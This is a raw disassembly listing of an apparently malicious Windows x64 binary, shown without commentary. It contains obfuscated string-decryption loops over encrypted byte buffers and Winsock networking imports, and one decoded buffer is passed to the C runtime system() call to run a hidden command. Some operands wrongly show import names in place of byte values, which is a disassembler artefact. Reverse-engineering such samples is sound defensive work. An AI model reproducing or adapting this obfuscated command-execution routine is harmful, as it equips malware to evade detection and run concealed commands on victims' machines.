jmp 0x14004a573
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x53
movzx r9d, r11b
sub r9b, 0x7f
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x79
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x130], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x130], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a573
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
inc dil
movzx eax, byte [rbp + r11 + 0x130]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a573
add r9b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x29
jmp 0x14004a570
sub r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7f
jmp 0x14004a560
lea rdx, [rbp + 0x1551034]
jmp 0x14004b08c
lea rdx, [rbp + 0x10ff9f7]
jmp 0x14004b08c
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x290]
call fcn.140042a40
nop
mov rdx, rsi
mov rcx, rax
call fcn.1400445c0
mov byte [rsp + 0x60], WSAGetLastError
mov byte [rsp + 0x61], select
mov byte [rsp + 0x62], 6
mov byte [rsp + 0x63], socket
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 8
mov byte [rsp + 0x66], 0x40
mov byte [rsp + 0x67], 0xa
mov byte [rsp + 0x68], 0x18
mov byte [rsp + 0x69], recv
mov byte [rsp + 0x6a], 0xb2
mov byte [rsp + WSAGetLastError], 0x6b
mov byte [rsp + 0x6c], 0x1b
mov byte [rsp + 0x6d], 0x1a
mov byte [rsp + 0x6e], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x6f], reloc.WS2_32.dll_select
mov byte [rsp + 0x70], reloc.WS2_32.dll_sendto
mov byte [rsp + 0x71], 0x5f
mov byte [rsp + 0x72], 0x19
mov byte [rsp + 0x73], 2
mov byte [rsp + 0x74], reloc.WS2_32.dll_socket
mov byte [rsp + 0x75], 0xa5
mov byte [rsp + 0x76], 0x7d
mov byte [rsp + 0x77], 0x1a
mov byte [rsp + 0x78], reloc.WS2_32.dll_select
mov byte [rsp + 0x79], reloc.WS2_32.dll_socket
mov byte [rsp + 0x7a], 0x1f
mov byte [rsp + 0x7b], reloc.WS2_32.dll_socket
mov byte [rsp + 0x7c], 0x49
mov byte [rsp + 0x7d], 0x2a
mov byte [rsp + 0x7e], 0x22
mov byte [rsp + 0x7f], 0x32
mov byte [rbp - 0x80], 0x2c
mov byte [rbp - 0x7f], 0x24
mov byte [rbp - 0x7e], 0x29
mov byte [rbp - 0x7d], WSAGetLastError
mov byte [rbp - 0x7c], 0x27
mov byte [rbp - 0x7b], 0x3c
mov byte [rbp - 0x7a], 0x25
mov byte [rbp - 0x79], 0xb7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], eax
mov byte [rbp - 0x64], al
movabs r14, 0x745a29a5e37f6344
movabs r12, 0x2e772389387bb6dc
movabs r15, 0x5d0e7cf1aa7e29cc
movzx edi, byte [rsp + 0x20]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor esi, esi
cmp rsi, 0x3d
jae 0x14004bbed
movzx r11d, byte [rsp + rsi + 0x60]
mov r10d, r11d
cmp rbx, rsi
ja 0x14004bbe4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004b1f1
lea rcx, [rsi + r14]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
add dil, 0x24
jmp 0x14004b21e
je 0x14004bb73
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004baed
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004bac9
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004ba83
movzx r9d, sil
cmp r8, rsi
ja 0x14004bbdb
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14004b24f
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
jmp 0x14004b290
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004ba67
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004ba41
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004ba0a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004b9ef
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b9c1
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x14004b6e8
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004b6c9
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14004b6a3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004b67d
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004b65e
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004b641
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004b622
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14004b602
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004b5d7
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004b2a0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004bbbb
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14004bb9e
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004b42c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14004b40d
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14004b3f2
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004b530
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x40]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14004b502
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14004b4e5
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004b4ca
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14004b4aa
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004b48d
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14004b464
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14004b449
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004b2a0
lea rbx, [r8 + 4]
lea r8, [rbx + 0x200]
jmp 0x14004b2a0
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x14004b290
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004b222
sub r9b, 0x24
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 4
jmp 0x14004b1c5
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x14004ba9d
add r9b, 0x18
movzx eax, r9b
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x14004b1b2
add r9b, 0x80
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x80
jmp 0x14004ba25
sub r9b, 8
movzx eax, r9b
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14004ba28
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x14004bb0b
sub r9b, 0x18
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x58
jmp 0x14004bb35
add r9b, 0x60
movzx eax, r9b
and al, r11b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2c
lea rax, [r8 + rbx]
cmp rax, 2
je 0x14004b9ab
lea rdx, [r8 + 1]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14004b7e6
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6c
lea rcx, [r8 + 3]
lea r10, [r8 + 2]
cmp rbx, 0x64
jae 0x14004b96d
cmp rbx, rcx
jbe 0x14004b894
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x78
cmp r8, 0x400
jb 0x14004b960
lea ecx, [r9 + 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x50]
jmp 0x14004ba9d
add r9b, 0x78
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x48
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
sub r9b, 0x10
movzx eax, r9b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14004bb35
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004bb0b
add r9b, 0x58
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x68
jmp 0x14004ba25
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004b98a
add r9b, 0x48
movzx eax, r9b
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
dec rsi
inc rsi
jmp 0x14004b1b2
sub r9b, 0x40
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x40
inc r8
dec rsi
inc rsi
jmp 0x14004b1b2
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004ba9d
lea rcx, [r8 + 9]
cmp rbx, rcx
jae 0x14004b710
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004b546
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b744
add r9b, 0x28
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x18
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004b76c
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004bb0b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004b792
sub r9b, 0x40
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x40
jmp 0x14004ba28
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004b7be
add r9b, 0x58
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x68
dec rsi
inc rsi
jmp 0x14004b1b2
cmp rbx, rcx
jne 0x14004b546
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004ba9d
cmp rbx, rdx
jne 0x14004b806
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x24
jmp 0x14004ba9d
lea r10, [r8 + 2]
cmp rbx, r10
jne 0x14004b835
sub r9b, 0x34
movzx eax, r9b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
dec rsi
inc rsi
jmp 0x14004b1b2
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x14004b859
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x14004bb0b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004b583
sub r9b, 4
movzx eax, r9b
and al, r11b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
cmp rbx, rdx
jne 0x14004b8c4
add r9b, 0x50
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x30
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
cmp rbx, r10
jne 0x14004b8e9
sub r9b, 0x28
movzx eax, r9b
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14004bb35
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004b90f
add r9b, 0x70
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x10
jmp 0x14004ba25
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004b934
lea edx, [r9 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004b98a
cmp rbx, rcx
jne 0x14004b5ac
add r9b, 0x80
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x80
dec rsi
inc rsi
jmp 0x14004b1b2
mov byte [rsp + rsi + 0x60], dil
inc rsi
jmp 0x14004b1b2
lea edx, [r9 - 0x60]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x60
add dil, r11b
add dil, dl
sub r9b, 0x1c
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x3c
add r11b, r9b
add r11b, dil
mov byte [rsp + rsi + 0x60], r11b
jmp 0x14004ba25
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [rcx - 0x18]
jmp 0x14004bb0b
add r9b, 0x5c
movzx eax, r9b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x14
jmp 0x14004bb0b
add r9b, 0x3c
movzx eax, r9b
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14004b1b2
sub r9b, 0x5c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x7c
inc r8
dec rsi
inc rsi
jmp 0x14004b1b2
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14004ba9d
movzx r9d, sil
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x54
add r9b, 0x5c
movzx eax, r11b
and al, r9b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rsp + rsi + 0x60], cl
inc r8
dec rsi
inc rsi
jmp 0x14004b1b2
lea edx, [rsi - 4]
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec rsi
inc rsi
jmp 0x14004b1b2
lea rdx, [rsi + r12]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 4
add dil, dl
movzx r9d, sil
add r9b, 0x6c
movzx eax, r11b
and al, r9b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
movzx eax, cl
mov byte [rsp + rsi + 0x60], al
inc r8
add rax, r8
sub rsi, rax
lea edx, [rsi - 0x50]
movzx eax, r11b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rsp + rsi + 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
lea rcx, [rsi + r15]
and r10b, cl
mov eax, gethostname
sub al, r10b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movzx eax, byte [rsp + rsi + 0x60]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14004b1b2
add r9b, 0x54
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x4c
jmp 0x14004b1b0
sub r9b, 0x34
movzx eax, r9b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x14004b196
lea rcx, [rbp + 0x156b110]
jmp 0x14004bbf2
lea rcx, [rbp + 0x561454]
jmp 0x14004bbf2
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x150], 0xe5
mov byte [rbp + 0x151], 0x8a
mov byte [rbp + 0x152], 0x84
mov byte [rbp + 0x153], 0x83
mov byte [rbp + 0x154], 0x89
mov byte [rbp + 0x155], 0xbf
mov byte [rbp + 0x156], 0xc2
mov byte [rbp + 0x157], 0xb4
mov byte [rbp + 0x158], 0x86
mov byte [rbp + 0x159], 0xb6
mov byte [rbp + 0x15a], select
xor eax, eax
mov dword [rbp + 0x15b], eax
mov word [rbp + 0x15f], ax
movzx edi, byte [rsp + 0x20]
movabs r14, 0x98ba45e75e7d7259
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor edx, edx
mov qword [rsp + 0x28], rdx
cmp rdx, 0x11
jae 0x14004c602
lea rax, [rbp + 0x150]
add rax, rdx
mov qword [rsp + 0x30], rax
movzx esi, byte [rax]
mov r9d, esi
mov qword [rsp + 0x38], rsi
nop
cmp rbx, rdx
ja 0x14004c5f9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004bccc
lea rcx, [rdx + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x6f
jmp 0x14004bd06
je 0x14004c56f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004c4df
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004c4a4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004c45d
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14004c403
movzx r12d, dl
nop word [rax + rax]
movzx r13d, r12b
movzx r15d, r12b
movzx r14d, r12b
cmp r8, rdx
ja 0x14004c5f0
lea r9, [r8 + 1]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14004bd52
lea ecx, [r12 + 0x4d]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x1b
lea r11, [r8 + 2]
lea r10, [r8 + 3]
jmp 0x14004bd90
cmp rbx, r9
je 0x14004c3ea
lea r11, [r8 + 2]
cmp rbx, r11
je 0x14004c3bd
lea r10, [r8 + 3]
cmp rbx, r10
je 0x14004c3a1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004c384
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004c368
nop
lea rdx, [r8 + rbx]
cmp rdx, qword [rsp + 0x28]
jbe 0x14004c0cf
nop
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004c0af
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004c077
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004c045
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14004c025
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004c003
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004bfe1
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14004c5d3
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14004c5ac
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14004bebb
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14004be9b
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14004bf9b
lea rbx, [r8 + 9]
lea r8, [rbx + 2]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004bf76
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14004bf56
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14004bf36
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14004bf11
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14004beef
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004bda0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 4]
jmp 0x14004bda0
lea ecx, [r12 - 0x5f]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x67
mov rdx, qword [rsp + 0x28]
jmp 0x14004bd10
sub r12b, 0x11
movzx eax, sil
and al, r12b
add al, al
movzx edi, sil
sub dil, al
add dil, 0x77
add dil, r12b
mov rdx, qword [rsp + 0x28]
mov r9, qword [rsp + 0x38]
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bca0
sub r12b, 0x60
movzx eax, sil
and al, r12b
add al, al
sub sil, al
lea edi, [r12 + rsi]
sub dil, 0x60
mov rdx, qword [rsp + 0x28]
jmp 0x14004c4b9
sub r12b, 0x12
movzx eax, sil
and al, r12b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r12b
mov rdx, qword [rsp + 0x28]
jmp 0x14004c4bc
add r12b, 0x3c
movzx eax, sil
and al, r12b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r12b
jmp 0x14004c508
sub r12b, 0x76
movzx eax, sil
and al, r12b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r12b
jmp 0x14004c535
sub r12b, 0x28
movzx eax, sil
and al, r12b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r12b
mov rdx, qword [rsp + 0x28]
jmp 0x14004c58c
add r12b, 0x69
movzx eax, sil
and al, r12b
add al, al
movzx edi, sil
sub dil, al
add dil, 0x21
add dil, r12b
cmp r8, 1
jb 0x14004c311
lea edx, [r13 + 0x76]
movzx eax, sil
and al, dl
add al, al
movzx ecx, sil
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x74]
jmp 0x14004c421
sub r12b, 0x48
movzx eax, sil
and al, r12b
add al, al
sub sil, al
lea edi, [r12 + rsi]
sub dil, 8
mov rdx, qword [rsp + 0x28]
jmp 0x14004c4bc
add r12b, 6
movzx eax, sil
and al, r12b
add al, al
sub sil, al
lea edi, [r12 + rsi]
sub dil, 0x2a
mov rdx, qword [rsp + 0x28]
jmp 0x14004c4b9
add r12b, 0x54
movzx eax, sil
and al, r12b
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x4c
add dil, r12b
jmp 0x14004c47b
sub r12b, 0x5e
movzx eax, sil
and al, r12b
add al, al
sub sil, al
lea edi, [r12 + rsi]
sub dil, 0x6e
mov rdx, qword [rsp + 0x28]
dec rdx
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
sub r12b, 0x10
movzx eax, sil
and al, r12b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r12b
inc r8
mov rdx, qword [rsp + 0x28]
dec rdx
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
add r12b, 0x3e
movzx eax, sil
and al, r12b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r12b
jmp 0x14004c421
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x14004c164
add r12b, 0x59
movzx eax, sil
and al, r12b
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x6f
add dil, r12b
cmp rdx, 6
je 0x14004c34f
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14004c1de
lea edx, [r13 + 0x35]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x73
add dil, dl
cmp rbx, 0x5a
jae 0x14004c330
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14004c262
lea edx, [r13 - 0x7e]
movzx eax, sil
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x14004bfb6
cmp rbx, r9
jne 0x14004c18b
sub r14b, 0x66
movzx eax, sil
and al, r14b
add al, al
sub sil, al
lea edi, [r14 + rsi]
sub dil, 0x36
mov rdx, qword [rsp + 0x28]
jmp 0x14004c58c
cmp rbx, r11
jne 0x14004c1b0
sub r15b, 2
movzx eax, sil
and al, r15b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r15b
jmp 0x14004c508
cmp rbx, r10
jne 0x14004c0f7
add r13b, 0x62
movzx eax, sil
and al, r13b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r13b
mov rdx, qword [rsp + 0x28]
jmp 0x14004c4b9
cmp rbx, r9
jne 0x14004c1ff
lea edx, [r13 - 0x19]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x51
jmp 0x14004c41e
cmp rbx, r11
jne 0x14004c239
sub r13b, 0x67
movzx eax, sil
and al, r13b
add al, al
sub sil, al
lea edi, [rsi + r13]
sub dil, 0x2f
inc r8
mov rdx, qword [rsp + 0x28]
dec rdx
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004c12b
lea edx, [r13 + 0x13]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
add dil, 0x7b
jmp 0x14004c505
cmp rbx, r9
jne 0x14004c289
add r13b, 0x34
movzx eax, sil
and al, r13b
add al, al
sub sil, al
lea edi, [rsi + r13]
sub dil, 0x6c
mov rdx, qword [rsp + 0x28]
jmp 0x14004c58c
cmp rbx, r11
jne 0x14004c2ae
sub r13b, 0x1a
movzx eax, sil
and al, r13b
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x4a
add dil, r13b
jmp 0x14004c535
cmp rbx, r10
jne 0x14004c2cf
lea edx, [r13 - 0x68]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x28
jmp 0x14004c505
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004bfb6
add r13b, 0x60
movzx eax, sil
and al, r13b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r13b
mov rdx, qword [rsp + 0x28]
dec rdx
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
mov rcx, qword [rsp + 0x30]
mov byte [rcx], dil
mov rdx, qword [rsp + 0x28]
inc rdx
movabs r14, 0x98ba45e75e7d7259
jmp 0x14004bc75
lea edx, [r13 + 0x28]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x18
add dil, sil
jmp 0x14004c478
lea edx, [r13 - 0x26]
movzx eax, sil
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14004c505
lea edx, [r13 + 0x2b]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x2d
jmp 0x14004c505
sub r13b, 0x39
movzx eax, sil
and al, r13b
add al, al
sub sil, al
lea edi, [rsi + r13]
sub dil, 0x71
jmp 0x14004c4b9
lea edx, [r13 + 0x15]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
